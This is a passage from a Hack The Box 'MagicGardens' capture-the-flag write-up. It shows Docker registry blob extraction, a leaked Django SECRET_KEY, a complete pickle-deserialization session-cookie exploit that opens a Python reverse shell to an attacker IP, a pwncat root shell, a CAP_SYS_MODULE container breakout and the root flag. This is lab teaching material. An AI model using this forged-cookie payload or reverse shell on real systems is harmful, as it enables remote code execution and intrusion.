"sha256:d3a3443a740ae9a727dbd8868b751b492da27507f3cbbe0965982e65c436b8c0"
"sha256:2ed799371a1863449219ad8510767e894da4c1364f94701e7a26cc983aaf4ca6"
"sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
"sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
"sha256:b0c11cc482abe59dbeea1133c92720f7a3feca9c837d75fd76936b1c6243938c"

└─$ curl https://magicgardens.htb:5000/v2/magicgardens.htb/blobs/sha256:d3a3443a740ae9a727dbd8868b751b492da27507f3cbbe0965982e65c436b8c0 -u AlexMiles:diamonds -k -o blob.tgz -s

└─$ file blob.tgz
blob.tar: gzip compressed data, original size modulo 2^32 202752

└─$ tar -xvzf blob.tgz
run/
run/nginx.pid
tmp/
usr/
usr/src/
usr/src/app/
usr/src/app/db.sqlite3
usr/src/app/store/
usr/src/app/store/templates/
usr/src/app/store/templates/store/
usr/src/app/store/templates/store/check.html
usr/src/app/store/utils.py
usr/src/app/store/views.py

The app is frontend app which was exploited, since alex has access there should be more we can do with it.

This build didn't have the complete application, after going through few hashes b0c11cc482abe59dbeea1133c92720f7a3feca9c837d75fd76936b1c6243938c had full source.

## .env
DEBUG=False
SECRET_KEY=55A6cc8e2b8#ae1662c34)618U549601$7eC3f0@b1e8c2577J22a8f6edcb5c9b80X8f4&87b

The Django app is well written and doesn't seem to have any bugs except previous exploit. Since the session token was a little odd on server I looked into server settings

## /usr/src/app/app/settings.py
SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'
SESSION_COOKIE_HTTPONLY = False

Python pickle module is prone to deserialization attack, with SECRET_KEY we can forge tokens and get RCE on container.

## Exploit Credits: https://systemoverlord.com/2014/04/14/plaidctf-2014-reekeeeee/

import os
import subprocess
import pickle
from django.core import signing
from django.contrib.sessions.serializers import PickleSerializer

os.environ.setdefault("DJANGO_SETTINGS_MODULE", "app.settings")
SECRET_KEY = '55A6cc8e2b8#ae1662c34)618U549601$7eC3f0@b1e8c2577J22a8f6edcb5c9b80X8f4&87b'

class Exploit(object):
    def __reduce__(self):
        return (subprocess.Popen, (
            ("""python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("10.10.16.75",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' &"""),
            0,     # Bufsize
            None,  # exec
            None,  # stdin
            None,  # stdout
            None,  # stderr
            None,  # preexec
            False, # close_fds
            True,  # shell
        ))

## pickle.loads(pickle.dumps(Exploit()))

print(signing.dumps(
    Exploit(),
    key=SECRET_KEY,
    salt='django.contrib.sessions.backends.signed_cookies',
    serializer=PickleSerializer,
    compress=True
))

## └─$ py /home/woyag/Desktop/Rooms/MagicGardens/blob2/usr/src/app/pickle_exploit.py    
## .eJxrYJ0qwMgABj1cxaVJBUX5yanFxVN6WAPyC1LzpkyeotHzvKCyJCM_T0E3WUE9M7cgv6hEoTg_OTu1RAehQSe_2Fqh2BYirgehNKA8R7d4Tz_XEB0oN9jf2Ts-OCTI1dFXE6hHLzk_Ly81uURDQ8nQQA-EzPTMTZV0TIBAU9M6v1gvpbTASKNYLy0zJzUvX0NTxwCoDYuwIXZhI03rAluEQ_WSE3NyNKKV9JMy8_SLM5R0lHQzlWI1rdUV1KZ4M_iBQGdHyZSgKXoA9KxbWQ:1sIWva:MVIXUxiUFhGTdNSHZB_DUWcmqdI9PYQ016kw_vLbzwg

Note: The exploit script needs to be placed in Django project so it has access to apps.

Edit your cookie on website and catch a shell

└─$ pwncat -lp 4444
[13:12:10] Welcome to pwncat 🐈!                                                 __main__.py:164
[13:13:59] received connection from 10.10.11.9:39832                             bind.py:84
[13:14:04] 0.0.0.0:4444: upgrading from /usr/bin/dash to /usr/bin/bash           manager.py:957
[13:14:05] 10.10.11.9:39832: registered new host w/ db                           manager.py:957
(local) pwncat$
(remote) root@5e5026ac6a81:/usr/src/app#

Get capabilities of container:

(remote) root@5e5026ac6a81:/opt# capsh --print
Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_audit_write,cap_setfcap=ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_audit_write,cap_setfcap
Ambient set =
Current IAB: !cap_dac_read_search,!cap_linux_immutable,!cap_net_broadcast,!cap_net_admin,!cap_ipc_lock,!cap_ipc_owner,!cap_sys_rawio,!cap_sys_ptrace,!cap_sys_pacct,!cap_sys_admin,!cap_sys_boot,!cap_sys_nice,!cap_sys_resource,!cap_sys_time,!cap_sys_tty_config,!cap_mknod,!cap_lease,!cap_audit_control,!cap_mac_override,!cap_mac_admin,!cap_syslog,!cap_wake_alarm,!cap_block_suspend,!cap_audit_read,!cap_perfmon,!cap_bpf,!cap_checkpoint_restore
Securebits: 00/0x0/1'b0 (no-new-privs=0)
 secure-noroot: no (unlocked)
 secure-no-suid-fixup: no (unlocked)
 secure-keep-caps: no (unlocked)
 secure-no-ambient-raise: no (unlocked)
uid=0(root) euid=0(root)
gid=0(root)
groups=0(root)
Guessed mode: HYBRID (4)

Docker Breakout

Hacktricks, Docker Breakout / Privilege EscalationHacktricks, Linux Capabilities

Not sure why, but getcap wasn't giving any output. After going through the list I noticed we have CAP_SYS_MODULE so I followed the guide to use kmod and it worked.

I named reverse shell r.c for short and changed output name to r.o

Writeup-15.png

Note: Make sure to change spaces to tabs as specified in guide! Copy/Paste will use spaces from web.

Root.txt

root@magicgardens:/root# cat root.txt
2c28a43fe16bf33ccf6fb746ff7eee4c

Writeup referenced:https://cn-sec.com/archives/2768793.html

Root exploit 2:https://writeup.raunak-neupane.com.np/hackthebox-seasons/season-5-anomalies/magicgardenshttps://darkwing.moe/2024/05/21/MagicGardens-HackTheBox/

Last updated